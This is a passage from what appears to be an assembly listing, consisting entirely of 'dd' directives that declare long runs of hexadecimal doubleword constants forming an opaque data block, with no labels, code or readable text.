0BD25CCC0h, 0AF13650Ch, 950E1735h dd 373F8463h, 0A2D004BCh, 211AC517h, 2E2B6159h, 1A29675h dd 1A983500h, 9A5FECD0h, 4BB3DC00h, 0AFDDA808h, 41C7BA24h dd 0FD332B14h, 0A639E0BFh, 6096134Dh, 9C70850h, 0E9A2180h dd 133F1697h, 0A1748110h, 807D6CE6h, 0F2D6DA28h, 0F8EAA30Bh dd 24506158h, 26EB5653h, 9B961685h, 10E581DBh, 108555F7h dd 6197C623h, 6B890FB3h, 7B1A931h, 0A929752Fh, 2FFB861h dd 90B5A850h, 1E60E8D6h, 74820509h, 54004E61h, 0E112D6BAh dd 104C8348h, 5F2B1359h, 0DE6F26CEh, 3153DD05h, 0DA1CC856h dd 4F480E50h, 4B190510h, 18898A8Dh, 6D7B29DDh, 0C7ADEDAFh dd 0BA9DD098h, 0FD0B9CE5h, 660AD0E8h, 98719852h, 0EF8296F1h dd 0F55AA55Dh, 0F850297h, 0C91B8E8Fh, 89B5518Dh, 6C784E48h dd 0C2AECD9Dh, 515E0959h, 0D4D5FCE9h, 7F013F00h, 110D128Ah dd 0B7542C7Bh, 7C5E0910h, 53974C78h, 9997D88Fh, 25B1E0A1h dd 493B2EE6h, 77001C23h, 0A72ACF48h, 763F3A0Ch, 0E1E2DBh dd 37B57944h, 0ADCEAAh, 7592CD73h, 3630529h, 0DD8A9C09h dd 5A9A735Bh, 0C86BB938h, 0D94B72B8h, 0DA3B58DDh, 4A6E87B9h dd 1CBC7E0h, 33552C8Dh, 6FADA66Eh, 0D1D29CE7h, 30A68EBDh dd 0AA0BF0E4h, 0A9EED8B1h, 0C0D14DDBh, 0F8D28C1Ah, 8B7888ACh dd 0E6E5DADEh, 81660463h, 0BC9FBDDBh, 0D551A268h, 0FA821B3Dh dd 0DCD098DBh, 132910A8h, 981D5096h, 0E19B72Dh, 6206EC6h dd 0D3676FBEh, 3384905Ah, 19884CDBh, 0BCF87AC0h, 109B259Ah dd 0E4B552E6h, 71A0267h, 1CF19FFAh, 1259CE5Fh, 0B1018509h dd 2F435D3Fh, 20E24452h, 0E0F5B64Fh, 90AEC8Dh, 46141552h dd 86461B79h, 0ADB7972Fh, 4FCDDE00h, 1C95E9ABh, 6F60A4AAh dd 0A62FC464h, 0A765CB9h, 398E2905h, 109D61C0h, 6D4D2Ch dd 0E4EA94D7h, 0BFCFE7Ch, 6143BA12h, 8F215EF6h, 27A62C2Ch dd 9EA7C697h, 111266A0h, 0DC91920Bh, 1D6402F9h, 7A805E15h dd 0E9D9C800h, 4FBFF249h, 8B2141F5h, 0B8072DC1h, 0E18C2EDFh dd 4B0B9079h, 9102938Dh, 0B6E2A03h, 2A4050F9h, 6A953E82h dd 0DCF0D6CAh, 76F4EE4Fh, 7E92BDE1h, 21479FEh, 51160F45h dd 9F74D80Fh, 2C8A97DBh, 11E6DE2Ch, 0DD1DD007h, 60E35172h dd 0D0F84489h, 0A3F35C8Ah, 0BA34BF03h, 0DF2F5265h, 3108D901h dd 88B0F78h, 38C33D80h, 16D6FCAh, 0DABE4B49h, 302B400Ch dd 0E5B501FAh, 93A72EF7h, 82FE9B5Bh, 4177D7F6h, 5EFAE546h dd 9078E91Dh, 0FF209C0Bh, 6C71D1h, 44EAF4BAh, 9697267Eh dd 404D4500h, 3496BACFh, 0FC13EE05h, 57C22B61h, 6AE50E0Fh dd 29B40E02h, 8B6391F3h, 8DAF48D8h, 941BD169h, 0CFB5B772h dd 1FA151Eh, 72FDAE0Eh, 382F41E9h, 2B902021h, 80FDB79Dh dd 0F917FEB9h, 4325F847h, 8CC10B8h, 0CF560A5Eh, 60A5A368h dd 36A995CEh, 0A83A443Eh, 1895805Fh, 0B35F14Fh, 0E1E08F6Dh dd 7FD98001h, 80A86812h, 0C8F6CFC4h, 1B4906D7h, 0F82861CBh dd 184E9C00h, 0D87E9E9Bh, 0B600935h, 9175959Dh, 6111A9B5h dd 61302F5Bh, 0A4DD9531h, 0E7BB4CC8h, 0CA532915h, 0FFD5BF02h dd 94550D3Fh, 0AAED97D0h, 98AAD140h, 97302A9h, 442952F6h dd 0C4CE645Eh, 0B2A1C595h, 0D1C69A2Ah, 0A97EC0CFh, 147BC129h dd 0B4AE54A4h, 8D6003CFh, 0C20AFC6Fh, 210B03B8h, 0D3FF6A35h dd 8ECB70D5h, 0EF90E403h, 0D4CF4716h, 0DCBB8EC0h, 2CBCB27Ah dd 0F6B319C9h, 7B2BAF00h, 0D7CB71D6h, 97431DBBh, 70ECE55Fh dd 9D211245h, 0B0FFD36Ah, 519D0980h, 0E62C1C9Ah, 1904670h dd 0F471E412h, 75CBF246h, 691DF6F5h, 0D1B44770h, 5D3C0A41h dd 0DBB9CCh, 0E010CD1h, 392F7F4Ch, 288F250Eh, 5E9E408h dd 208B0340h, 5B2DBBD3h, 7E1DE6BAh, 81558229h, 18A98D14h dd 39BD118Dh, 6A162EA1h, 6AE25752h, 8E025D10h, 8EBC43BBh dd 4AAED2Fh, 1220855Fh, 0F47D71B2h, 0E217D775h, 146D00FBh dd 0C215D8DEh, 3132011Ah, 0F2A4C987h, 6B032F5Fh, 0ECD5BD09h dd 5004AF34h, 68BDA203h, 66BD1222h, 4CE9250Ah, 1201BD91h dd 0AF6655F9h, 0FC409DB4h, 0F507FBh, 0D521495Dh, 0D88ACDDBh dd 0D17916ECh, 32374D12h, 1E2235F2h, 27A1A5F2h, 0D04E7CFEh dd 30784183h, 2257555Bh, 0B58D0389h, 0DC0ED704h, 7396EEFh dd 0D9FEA303h, 50B6A7E2h, 911A13D8h, 0C07E9B6Ah, 0EE111661h dd 219D0275h, 0F95670E1h, 8C2047Dh, 0AA0398BFh, 3EA3C300h dd 3B29F313h, 47BD0264h, 1772737Ch, 0BB60355Eh, 0B3820B6h dd 0A48B974h, 927C97Ah, 0C0157402h, 1E7039F0h, 68191700h dd 54889E5Dh, 0C0974BE2h, 0F337BF27h, 4F3D0A3Bh, 49E05CF6h dd 0ED094079h, 5CFC699Dh, 5D246F39h, 4EDDB903h, 3200D96Eh dd 215EADFBh, 0CC1CA0DCh, 5967561Bh, 53FC25DBh, 15D5250h dd 0F9A7DDB0h, 7CDF3E37h, 178F4B9Eh, 401DD350h, 0BD4E312Bh dd 545797D2h, 0EDE9409Ah, 0A41283ACh, 0D4BC15DCh, 2B0173C0h dd 466917C5h, 0F35968h, 2D58E8BBh, 0B6246003h, 0D51194EBh dd 74986127h, 6E952EB3h, 0D4EDBCFEh, 0C1E3DE80h, 9D80D8B1h dd 47D5A5E5h, 10F5B484h, 0E55B2527h, 50096906h, 8EB1B77Dh dd 1228E9DFh, 14DEB880h, 0F40EBF1h, 20AA096Fh, 0C0222B47h dd 3836B51Eh, 16CAF94Bh, 535E6A22h, 0DCF995C4h, 0E74AB838h dd 0BF02B441h, 5E0EB59Dh, 1AFCE634h, 0FF873962h, 73B5F3E1h dd 0FDCC82D0h, 65505862h, 44F8F61Ah, 3238AE20h, 0E7045BA9h dd 0CD0A74Fh, 25985D6Ah, 5CE5E5B2h, 5CE79517h, 9934FEB7h dd 53E72125h, 5C04300Bh, 6001F46Bh, 4A72CCE9h, 0C8206210h dd 2A1841F5h, 0BCD956B0h dd 7B00DCF6h, 8680BB3Eh, 292639Eh, 6824CB81h, 20E0640Ah dd 5C822B39h, 0D18D2150h, 0CD68191Ch, 0F0C7F307h, 0BD27848Eh dd 1531245h, 2187AFEh, 897C0528h, 698156BBh, 2D80D137h dd 0B67F1D2Ah, 0B3600011h, 0A5EE811Ah, 362C1205h, 8901D61h dd 6C6E8D4Bh, 0F90D6915h, 0BE7B80F6h, 0A403EB8Ah, 36B5C25h dd 5A5F52ACh, 245E0A0h, 13676880h, 30ADDFC7h, 0E23BFF4Bh dd 5A498415h, 0F9D4032Ah, 0EBAE97D6h, 565BAA15h, 3C980263h dd 0B7FD523Fh, 0FCA900FBh, 9F7ECF3Ch, 2D5E6C4h, 140128ABh dd 16E688h, 0F1DE1F38h, 4119EE0Dh, 9F31BA03h, 0E0013CAEh dd 97546BA3h, 1A915FB5h, 0BA2A7880h, 0D32E4B4Ch, 90B6D34h dd 184D10Dh, 0DAE951F6h, 0F8DE7F01h, 0D0266480h, 7A027D18h dd 60059A6Eh, 10A2E101h, 0E555C606h, 4A1D3C88h, 1FBD2DC5h dd 9C0286BCh, 6D8D01D4h, 0A63A5713h, 75000DE4h, 7A31ADDh dd 0A90AEDh, 0D4D153FDh, 58598C97h, 814BD773h, 0DD0550CDh dd 4AB759E4h, 4FC2E7ACh, 73A0F6F6h, 0DCFCA85Ch, 0BB118001h dd 7C3CCB89h, 0DE36DED2h, 82E7883Ah, 1A3B97D9h, 7A9E4211h dd 0E2F9498Eh, 0E3F86096h, 2100366Ch, 0BFE5AF44h, 12C70BA7h dd 8180EA18h, 2FF22C3Fh, 50966B04h, 0FBD404EBh, 4AD4F36Ah dd 966177C0h, 0BD291560h, 205F8EC1h, 3C862BAh, 4E99F300h dd 81B14F33h, 199D02D8h, 615A533Ah, 68602D5Eh, 490F6EDFh dd 201DC292h, 9BDEFC95h, 88D380DEh, 9B2BE73h, 0C8209A1Bh dd 2D820455h, 6E2DE552h, 0D000F47Ah, 36B86509h, 9C4A4245h dd 4E8A84F0h, 0B06EE0F8h, 0BE66DE04h, 0D6BFF29Dh, 0C39CD839h dd 276B01DCh, 14BB2276h, 5F25369Ch, 421F282h, 0B839BD61h dd 0C5449DB1h, 97281697h, 0BA01A6B7h, 0FE8A66B6h, 525F282Eh dd 7CE62BD7h, 60F531E2h, 0E80997D0h, 0D3194DDh, 262742E9h dd 6193F090h, 0E18350E0h, 0A7BB0494h, 0BC3F6B4Bh, 8180EB56h dd 8E2ADF7h, 15235F4Bh, 0E1D8AB70h, 67791CCDh, 0C92565B8h dd 1153E56Ah, 0CDEE4208h, 0AA6063FBh, 0DB054B71h, 0C017C82Ch dd 4B62A959h, 251EC6B5h, 5A5145B3h, 0F765DE07h, 41A50970h dd 668C000Eh, 883F3E97h, 0EE9520BFh, 27359D4Ch, 0CAC4FC02h dd 3D63C040h, 61BA9710h, 85E23056h, 0E9535E1Ah, 6E800037h dd 0E7C2303Eh, 65314CFDh, 5056925Bh, 0F8E83177h, 0FC2C0A2Bh dd 1D46DCBAh, 9C759700h, 0B17EA9ADh, 0FE3F4416h, 3DEB1102h dd 6B515EE1h, 48404356h, 0B5CB7Fh, 0D7E21451h, 5F4F2183h dd 5980C6B1h, 0B616AC8Ah, 40EF006Ah, 0A1BE8043h, 0CB022C0Eh dd 29F951C0h, 0BBADB05Bh, 0C8E31219h, 919F32Ch, 7A8DEB80h dd 0ABCFB716h, 3106047h, 0A816318Dh, 0B761F1EAh, 35F58D3Ah dd 15518450h, 4E24BC91h, 3A00466Eh, 0F2C55C7Eh, 0B8702F18h dd 6ECA1095h, 0AD9B001Dh, 29BBED7Eh, 0DC2512D3h, 7E49E2CBh dd 0ED00DC72h, 4556E474h, 98EB7A2h, 0DC8AA5D8h, 35A5537Bh dd 0A1920009h, 1CC58E9Ah, 105C5058h, 5F250BADh, 63B053E6h dd 6AC5A554h, 0E076CDB7h, 9EB0854h, 0A9E7FE01h, 2B799531h dd 88934632h, 7F002618h, 81B48019h, 3E02F30h, 746B8341h dd 0C7C1EDAAh, 0D6A77D4Ch, 0D6A81EADh, 0BE0115F0h, 50234BFCh dd 49CEF80Ch, 318F5D9h, 0F2BCBD4Ah, 40599676h, 0C7096247h dd 8029B612h, 89258BDh, 0FEA50C3Fh, 0D09E20Ch, 696A9C57h dd 0A7732727h, 9D6B4970h, 0C6258BF2h, 696E7961h, 5BE9095Ch dd 0A0855001h, 0FCAE5F12h, 0BF80F9BDh, 0F0D552Bh, 56C01A97h dd 3A74519Eh, 513807Bh, 2276E86Fh, 7892952Eh, 0C0EB6D57h dd 2F3CDCFDh, 0FC1B7C02h, 5EC6B136h, 0BD13F4C4h, 1DEA6E14h dd 0B68FC984h, 0DB698C71h, 0CBF07022h, 0DE3FE400h, 0F381E611h dd 0D8A50485h, 988E0F21h, 3140C931h, 84FD4BE9h, 0C19A9BBDh dd 0FC4DFF8h, 5FF6202Ah, 0D5072720h, 8B406FC1h, 95CCF849h dd 168AABB0h, 4090F48Ah, 0C3C94CA0h, 79008872h, 82AD57EAh dd 127F40DBh, 0AFEEFCB3h, 0CD125817h, 0BCD8C2F8h, 0A427BF66h dd 40786FD2h, 0DFAAFE82h, 51038606h, 0F4B4F33Ah, 0AF789560h dd 0C2FCD925h, 0BBED5DBFh, 9A155C9h, 3F9D0BFCh, 3050C193h dd 0F045202h, 58685A31h, 4538D908h, 36C814A5h, 51279529h dd 0E4EE6705h, 71F601Bh, 50F006A9h, 467B2933h, 12BCFC4Ch dd 0BBE70E85h, 2561BF02h, 9C5C110Ch, 0ECD681CFh, 6E6AD1FFh dd 0B09713Fh, 0DE485C93h, 0A595961Fh, 0B8282B6Eh, 0F670967Dh dd 0C79E8200h, 70AC8EBBh, 26A275Bh, 37602456h, 7F3ED7h dd 69FEB321h, 0C25789B0h, 0E08B5425h, 25BB668Ch, 7E76396Fh dd 0C45B01F6h, 1CED597Bh, 0FE992B3Ah, 33001563h, 6DBFEBA6h dd 8D1E8641h, 808499EEh, 0E8B831E9h, 216108E1h, 0B8516953h dd 299FC2Fh, 0F43D9DD9h, 0CDDE8D47h, 0B6996625h, 1F5108B1h dd 702288A2h, 56099518h, 8BE2E356h, 0FD8A2202h, 9F2D7B5Ch dd 871591CDh, 0F7D12A6Fh, 0CCC7DB5Eh, 0E94B98B9h, 0EE3E88Ch dd 8A851FC5h, 6AC4AC01h, 0B87539FFh, 421A0B72h, 29D9BBEBh dd 0C1184401h, 45D407D4h, 23F0078h, 253057F7h, 264BD940h dd 54FA9585h, 7112820Dh, 0A2E4B802h, 48BF202Eh, 9275526h dd 0D8ED84B0h, 0FE2D70B8h, 0D7251664h, 9DCE7403h, 999D89FDh dd 0E49AA2DDh, 35E78271h, 60BF001Ah, 2F4BF8A8h, 0A4688A97h dd 297109B3h, 4449D05Ch, 0A07F011Eh, 3B040E49h, 0CD23F871h dd 88D44234h, 9016BB3h, 856B32A4h, 68F63B4Eh, 7758EF0Bh dd 952120Eh, 0B0FF2A3Eh, 0F71EDBA1h, 0CBC05213h, 0BF0BE73Ah dd 582B5F12h, 9FCA9D54h, 0A4227760h, 2765E23Eh, 133141D1h dd 0AA099C6Bh, 0B0445400h, 3DAE4EDAh, 65454C87h, 0C2A8FC16h dd 140C151Bh, 86074B5Fh, 7D206A89h, 0C4574E08h, 5BA74D25h dd 61836B22h, 2E3D6971h, 6AA5857Eh, 89450298h, 282BFABDh dd 100B44E9h, 1304119Dh, 34AEA6B3h, 0AAD8FEDEh, 0DCBC25BFh dd 9A5F8BC2h, 57E67D73h, 1FA1A5FEh, 7BA33BFEh, 71142F51h dd 0BC12C11Eh, 701090E6h, 870F16E3h, 29600FD1h, 86455F9h dd 0E5EB4F8h, 6CF5820Fh, 0BB0E3513h, 94826828h, 0A490AD10h dd 830E7D63h, 481247h, 0B0D9C2FAh, 1E230019h, 0F141BEA0h dd 0B925328Eh, 0F8A7066Ch, 9EFC71F4h, 700BDC07h, 0F163CE48h dd 0BA8D16A2h, 0B33B1F29h, 0D2B14E52h, 3BC0862Ch, 0C41C5753h dd 5AF4EA00h, 706786CBh, 0B5D239BCh, 0EFE79402h, 547CC02Bh dd 0CCB604DCh, 90DF8B51h, 0BA9F0F7Fh, 8D25DEA6h, 0C96C7315h dd 98704653h, 24059E07h, 9D773D14h, 5FD21AD3h, 375E6E42h dd 65D40F40h, 47BF0045h, 0C7B193EEh, 2F4874AEh, 2E151019h dd 1B8BCD4Ah, 4D0DC29Eh, 195860CBh, 14BBB71Ah, 0F635B5E1h dd 9FA296D5h, 0F053F17Bh, 4A8BFF7Ah, 0F499E2FAh, 0C8A322F6h dd 0B7A20A7h, 6CD49428h, 8DE312FEh, 918983E2h, 6862996Fh dd 0EAE6C39Bh, 9D3F401Ch, 5F9BA8D5h, 0D36DE1B8h, 0EE00B7ECh dd 8842B903h, 160ABBC8h, 0AD716E20h, 0AC34D5E5h, 870E2F0Ah dd 17FC9590h, 0D79C3700h, 3D91358Dh, 4811D40h, 0FF854174h dd 2EDD8AE1h, 8989AA28h, 89282EF9h, 0DC608996h, 6BC00281h dd 0BD315A51h, 620795D9h, 637C3961h, 1A7D6725h, 0B75F463Dh dd 603389A6h, 0E381EB37h, 52586EA8h, 434B33Bh, 0B89B501h dd 309DB112h, 568ADD3Eh, 0A57D2474h, 1245368h, 5BF4D7B4h dd 0C7FA20D0h, 0C500E8B8h dd 374CC6F6h, 5F472BBBh, 7CACE50Ah, 40E8C882h, 0B7BD14FAh dd 1B5F7307h, 0A7907FB1h, 5E0FCEDCh, 2B8EA10Ah, 66904A31h dd 31D4CE25h, 0E2294E9Dh, 7A854179h, 8A6A2A2Dh, 0C0195884h dd 682DBFABh, 59480311h, 50A136ECh, 0F2F7F3D0h, 0F98B1737h dd 0E3D4124Eh, 0C4B357FFh, 41EEA330h, 416F4902h, 0F6CBB1EBh dd 5465827Fh, 94C626h, 80E0E82Dh, 65829F75h, 9EA36300h dd 41309F6h, 0FF5B09AEh, 57738B35h, 0D0005D20h, 905D7291h dd 25F0BBCEh, 4DC641D2h, 220D909Fh, 0F1F3005Bh, 283F1E08h dd 92097C58h, 54023DE9h, 5209F427h, 412C1D19h, 692DF53h dd 1824E1D9h, 78007D41h, 80AB6807h, 259B2216h, 10C67958h dd 0FA54E0A2h, 5FDFBF60h, 0DD084A09h, 0A8A469F7h, 724D09EAh dd 2A8E1161h, 0A26FCB25h, 0B4800E4h, 55A4DAE6h, 9F89E41Fh dd 68E1606Dh, 752FF010h, 0A0F4E6D8h, 98506430h, 2306444Bh dd 0B599D13h, 0FCB98AA4h, 0C8EC9F5Ah, 29999D10h, 19C26125h dd 6A6DF741h, 0DF0166E2h, 0F96C5CEh, 394EEF8Ch, 95604F2Ch dd 40DD938Fh, 0BA66F78Bh, 96F69DBFh, 0ACB79Fh, 83BF21D3h dd 0A4B6609h, 826A368Dh, 310005FFh, 911A1185h, 5A6EADAh dd 0A2506CC6h, 2960048h, 6D482528h, 30D691E4h, 0C18A60D0h dd 2B5A539Fh, 78BB01D7h, 22547AD6h, 4CF151DAh, 0C33EBBDCh dd 7E6ECFFBh, 49ED7403h, 82BC6991h, 2A7E25CAh, 72B25B17h dd 0C808EB00h, 0BEF60D09h, 0AB7C5F00h, 88E40604h, 809E9160h dd 44FD2015h, 0AE058FFBh, 8DB6536Ch, 7CB5D216h, 80BBDF3Eh dd 0B3751DB8h, 0E4119041h, 0FE9851B9h, 48E22Ah, 27BAA708h dd 0BF880F6Fh, 98EC091h, 104603Dh, 142EF5BDh, 1A85133Fh dd 0CD48B8A7h, 1417D38h, 2EDEBFCAh, 9369753Dh, 6CE271A8h dd 6A5F3C0Ah, 2025BECEh, 0F59D29EDh, 0C5C79519h, 9F755027h dd 278C1D3h, 5349009Fh, 0F98A45FDh, 6FBD4CE9h, 20960FBh dd 8702F5D1h, 250D7ECDh, 0A6C8591Bh, 0B9BB0240h, 8A5C5BA7h dd 5002C975h, 0B7020915h, 50635C5Ah, 46940471h, 0E71E00F4h dd 4286EC89h, 0DB29801Fh, 3F62F30Ch, 0CABD7504h, 0BDEAFF07h dd 6E81E614h, 2D2E2E8Dh, 0A83929A8h, 0A64A2820h, 0B72325E9h dd 0B5978ECEh, 2F023D22h, 5ED28734h, 5E1D3A57h, 9B00D4E0h dd 742E94FBh, 2D6855AFh, 4C01D229h, 0E2B9B501h, 0ED5AAC5Ch dd 142041FAh, 0ED206B23h, 1F0FE25Ch, 0ADF7Eh, 0C0FCADC1h dd 5300A458h, 283C87EEh, 95618501h, 43B0C852h, 4CCC965Ch dd 0B631715Dh, 61C8AA6Bh, 13C10896h, 54B1B061h, 72458A4Ch dd 91E31252h, 8AA35F42h, 75231E00h, 0ABC025B0h, 0D2F49873h dd 0B5312D09h, 5B6EA405h, 0D88C5B9h, 0EB013380h, 1DBCE930h dd 4005EF95h, 8060E27Fh, 5F5684DFh, 3015E2D4h, 509D5CAEh dd 0FBB725F4h, 25B0CEC6h, 58BB0544h, 19258393h, 6F57D6CAh dd 0BBE7440Fh, 6F1C084h, 0C8789A6Bh, 0F0F1C119h, 10FBD408h dd 9CB813Bh, 705AD1E0h, 0F98B25DAh, 5735A7C2h, 12FDC294h dd 0F4B90DE7h, 0CFFBB892h, 135DA529h, 0A12374AFh, 0B778AD3Ah dd 5A9B00C2h, 52662108h, 943B7916h, 11C45FE9h, 58AC120Bh dd 0C4E8E180h, 7100B8B6h, 8AD1B115h, 5FF936D4h, 92D3450h dd 8BD5F8F8h, 0D01B1807h, 112B878h, 0CD9B637h, 7153AB89h dd 8490457Dh, 0C557BDEFh, 17EB96FBh, 0C08DBD21h, 0F34A67F0h dd 0D26D02B6h, 0CE12C53Ch, 0A30235D7h, 5CA78F8Bh, 0AE829B24h dd 0FABFF6D0h, 0FD72576h, 0D4A1A7C6h, 5CF6B05h, 0BB012A22h dd 6725276Fh, 0B7C85150h, 17F89768h, 60243409h, 0C6000757h dd 45AA9AEh, 0D4FA5D57h, 4D98BF16h, 0E55909F7h, 0BB902BCh dd 8AEB140Ah, 0A4723264h, 5B8669B5h, 0ADB4752Eh, 4C11A88Ah dd 0C50B59A2h, 0E8C15F45h, 809E3912h, 15707605h, 0EA2412AAh dd 85A81F54h, 0F8FBC6AFh, 17CD121Bh, 60A094B8h, 0A9B59D31h dd 0D0D5E2D2h, 0E7614A0Bh, 0A6A4E9Fh, 0EEE4012Fh, 46973E00h dd 5E94AB6Ch, 0A47C070Ah, 50932BC7h, 5D78039Fh, 0A8E32E2Ch dd 5F9DC927h, 2D1B282Fh, 0D1305D8Ah, 164B49BDh, 96004DCh dd 1C14BA66h, 0D99F08EEh, 0E05A2D6Dh, 0F719D11h, 0B83BB9A5h dd 0E07002Eh, 0B4B7E8BAh, 8C4E0F3Eh, 0FE0920F3h, 0CC70B9E9h dd 25D24195h, 0A5A4FBB1h, 0FF171431h, 7081A3DBh, 2FFE8B26h dd 7700F9F3h, 0FA0E471Fh, 1A975FC0h, 10DC84D8h, 0C5437340h dd 0DC00C7BFh, 5999A46Eh, 13E58CA3h, 448F4CBEh, 0EA5B5F84h dd 352DA8Ch, 0F0D6A89Bh, 0FCB87BE7h, 6BE3B21Fh, 0E18153C1h dd 6ADAA53Ah, 0E28F5FDBh, 0D4361777h, 29DC0422h, 0F94BED15h dd 697BE62Fh, 97FC9844h, 0B35E00AFh, 931E142Dh, 667732E1h dd 7DC56902h, 58EE7F05h, 218848BEh, 4BED0625h, 331477CBh dd 5E5DDCCBh, 7CBB6033h, 0F1A7FEAh, 0C0026090h, 7534BF67h dd 602F97F2h, 0E1E8A6D3h, 1770D09Fh, 5CA06A98h, 2FC52994h dd 610EFFC6h, 8B84C180h, 78F4D36Ah, 8D00EFEDh, 718F643Dh dd 303F69BBh, 814E4CCCh, 0F0299DBh, 0B3606191h, 0CAD7603Ah dd 971279A1h, 0DC0589Ah, 38FC0163h, 0B312EEB5h, 0A9A1589Bh dd 0C0DBAA0h, 0F84F5582h, 49F2744Bh, 68F5BD07h, 27CE42Dh dd 250ED851h, 0B7C17FDEh, 83282F5Bh, 0F72EE184h, 5C7CA22Ah dd 26AE248h, 1FDB7DDh, 20899326h, 198F6B50h, 0EB554451h dd 2576EEBh, 205A4312h, 0B320D888h, 970286Ah, 98E98C30h dd 480B1C57h, 0B65BBC92h, 4CCEF03Fh, 92F32680h, 904D27C9h dd 0D7ED82E0h, 0E3BED214h, 38EC4FA7h, 65BB50C0h, 4A978DA7h dd 0DC3074B9h, 6177630Ah, 0AD098D1Ch, 9BC6782Dh, 18145155h dd 0DAB29786h, 362B75Ch, 0B869D5BDh, 1FB66E6Ah, 0FBEDBEF0h dd 10B6362Dh, 0AF02F27h, 50E4DAA6h, 0CF90895h, 536E5F1Ch dd 7C2A410Bh, 8709F462h, 7BF95DACh, 5C0511AFh, 0B0D780AFh dd 54B357h, 81AD442Fh, 9ACCF1EFh, 0BDC44B4Bh, 0B93D4980h dd 897013E6h, 7CB6E9B5h, 6202EB00h, 71E42859h, 0ACA497FCh dd 0BD3343D2h, 4036FCF5h, 7B0E452Dh, 583E287Ch, 205AF4FAh dd 6132EA69h, 6A28511Dh, 0F797E825h, 97B37AE2h, 58418CA7h dd 81D1003Bh, 3DF91CD3h, 0CCE94F78h, 80AA7104h, 42D8FC0h dd 0F622BB80h, 0B93A4A0Fh, 85205B19h, 7AB0301Ch, 0C79F1696h dd 282E5AFCh, 253B165Eh, 437BE62Fh, 5C11119h, 65C4F25h dd 7E2DCDE0h, 9FCA1F6Dh, 0AE131681h, 2D5ACE36h, 49540CA1h dd 742C8462h, 9BEB4325h, 0A5FAF5DBh, 0FFE1B82h, 2FB82A5Ch dd 42961F8h, 5DD2606Ah, 0D042587h, 0EFACF9DAh, 0C08486BDh dd 7760EFEDh, 0A8B3Dh, 0A0866A07h, 1E986956h, 6F0B8F1Eh dd 8012F0BDh, 82F355E3h, 24813A5Fh, 2710B009h, 765B909h dd 16394348h, 0FC5B80A4h, 80007D6Eh, 0ACA70A2Bh, 4197267Dh dd 0FC021729h, 42C7A380h, 0C01F2B0Fh, 4B8E95BBh, 37D2E96Bh dd 49BD81EDh, 205BCA41h, 0BF97DE63h, 8066A15Ah, 85C9B6A7h dd 5C092534h, 0DC095F50h, 9501417Bh, 0D4E3429h, 88F7884Fh dd 789B02B0h, 0F304057Fh, 71DF95BEh, 5FD706C0h, 34504F2Ch dd 4B64F86Bh, 0B301318Dh, 8B6B1FD5h, 0BB66C1B0h, 4BA511CFh dd 4811F665h, 0D14B2861h, 6F77C2B8h, 587C605Ah, 9109E620h dd 71FCE8C8h, 816080CDh, 0F85264DFh, 954E33EEh, 0B8805DD5h dd 0E29D89E1h, 57C79524h, 29053A11h, 6212C585h, 42020113h dd 0D083F304h, 7D00B03Dh dd 49C5BD02h, 3C932F39h, 0B3C4890Fh, 4512DE5Bh, 0CF8DCCB2h dd 1DD1026Dh, 2D606AC9h, 5837B840h, 9B12BC0Eh, 4CBA341h dd 28D98D31h, 0B192B7B8h, 97A828B1h, 0A00430AFh, 0E4E6C4A2h dd 40D9B209h, 9D5B878Dh, 5F25102Eh, 183CAC8h, 4160EFB5h dd 2B8B6717h, 64B64374h, 0AE0214A0h, 0C8DC4904h, 0BB81D84Dh dd 9C7F2E61h, 9D2A0398h, 0E690B1F1h, 731EB925h, 0DC4DA525h dd 6834E2C0h, 29CE01EEh, 7B9010C8h, 2A236E50h, 0CA7E80ACh dd 473B0E42h, 0F467851Ah, 785F5021h, 5B4AC179h, 8C4C18A8h dd 0D32E0DC3h, 0FD641C7h, 2FB52031h, 3C8968F1h, 3DFC04BFh dd 1FF39054h, 0F5952904h, 27291405h, 497E569Dh, 0DCAF7Ch dd 2F5DEBCCh, 29EC5AF7h, 0B86C2E54h, 5BDB97h, 1BB639CEh dd 0B571C75Eh, 0A40268EAh, 8BBC9B94h, 0D30055FAh, 43836F5Bh dd 9D119197h, 0C3DD7FF5h, 254C95ECh, 0C546212Ch, 8B17605Eh dd 80DCB2A1h, 30609FC8h, 0DC8313D5h, 0E29C29BDh, 0EDDDC601h dd 0F2560B58h, 0CA504080h, 0BF097184h, 0A14E3001h, 189E96Dh dd 3DFB7A3Bh, 0E62AA526h, 0D6BB3C29h, 0F15DD192h, 0E08E271Eh dd 98975975h, 0C2F02EB4h, 31F908D1h, 0F444CA25h, 4102F4B0h dd 545263DEh, 6A605E8Ch, 3381081Eh, 0D3A4891Eh, 0DE1EC6C8h dd 6FFA46D2h, 203802ECh, 5F500806h, 0D4002A66h, 0F7A88248h dd 901894DDh, 8FB80B7Ah, 8E62614Ch, 1B026155h, 9516A3BBh dd 0D337B902h, 0FE80B29Bh, 0D0BEA18Eh, 4085802Fh, 9743B18Bh dd 999FEF14h, 86575064h, 0FA3D129h, 295CC3EBh, 571B3193h dd 9DF4405Fh, 87BC3161h, 61AEDA92h, 7ADF8B1Eh, 209508D8h dd 903A1771h, 0FD1DF9BFh, 0FCB501Ah, 622AFE87h, 615C2D89h dd 70FADBE9h, 0B1905DE2h, 276EB114h, 199D16BEh, 80B3FF52h dd 0A042E6D6h, 4DC514Dh, 26B1F030h, 0CD3981DBh, 0B2BF0001h dd 3A4B2542h, 371C8D65h, 0FEF95A38h, 0A80521BCh, 0E9CBDD2Ch dd 9531D6B4h, 13256DF1h, 98E2A070h, 27F51271h, 0AE5EE310h dd 2BBD0249h, 167564F3h, 7B3169BDh, 9BE40086h, 1876FDCAh dd 0E54E1273h, 8CA2E2E8h, 528A57ACh, 9DCBF2F9h, 208D8A98h dd 0A39A7F82h, 4FB7E9F0h, 3DC6620Ah, 0F96A605Ch, 0F7DECF02h dd 2407412Bh, 23D4DC2Ah, 0FA959D4Eh, 3325B4F8h, 6DA728C5h dd 64734050h, 2B58CB75h, 52B12F62h, 5FB3FC83h, 0EE8FD402h dd 0F4F70222h, 0ABCE78CDh, 0B7283E7Dh, 515DE5E1h, 995B2B83h dd 0B181871h, 0F7CC3C09h, 5D961F1h, 2E98B701h, 9BAA2534h dd 2AB280D5h, 55B7E72Ch, 0DE2BBABDh, 9093C0B3h, 13BAB064h dd 0F8A58E3Ah, 8D8909EFh, 55638979h, 0DF9CAB94h, 0A44012D4h dd 20A2FBh, 0B8AFA1C1h, 37DD80h, 78162642h, 0E66C73F6h dd 0DE662501h, 0FC8A417Ah, 598D5C85h, 5B2DAE27h, 7C6A2Eh dd 0BEDD3168h, 167CBF74h, 0BB153A0Bh, 30884F62h, 7195A248h dd 0B8FC44FDh, 0C781015Fh, 